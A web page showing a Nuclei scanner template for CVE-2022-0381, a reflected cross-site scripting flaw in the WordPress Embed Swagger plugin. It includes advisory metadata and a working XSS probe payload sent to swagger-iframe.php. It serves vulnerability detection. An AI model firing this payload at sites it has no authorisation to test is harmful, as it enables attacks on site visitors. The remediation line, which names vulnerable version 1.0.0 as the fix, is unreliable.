Skip to content

WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting

ID: CVE-2022-0381

Severity: medium

Author: edoardottt

Tags: cve,cve2022,swagger,xss,wordpress,embed_swagger_project

WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.

id: CVE-2022-0381
info:
name: WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor.
reference:
- https://gist.github.com/Xib3rR4dAr/4b3ea7960914e23c3a875b973a5b37a3
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0381
- https://nvd.nist.gov/vuln/detail/CVE-2022-0381
- https://plugins.trac.wordpress.org/browser/embed-swagger/trunk/swagger-iframe.php#L59
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0381
cwe-id: CWE-79
epss-score: 0.00218
epss-percentile: 0.59134
cpe: cpe:2.3:a:embed_swagger_project:embed_swagger:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "embed_swagger_project"
product: "embed_swagger"
framework: wordpress
tags: cve,cve2022,swagger,xss,wordpress,embed_swagger_project
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/embed-swagger/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Embed Swagger'
- 'Tags:'
condition: and
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- "url: \"xss://\"-alert(document.domain)"
- type: status
status:
- 200
# digest: 4b0a00483046022100e027e9bbf54dbe7389f986d0474fc01e7a4b6da2d0e66b3b3eeb8b8da67d8bf4022100ff318e5adeb404a953b92f68e1f99371d4686cf579c53d2ada87d1a12511229d:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0381.yaml"

View on Github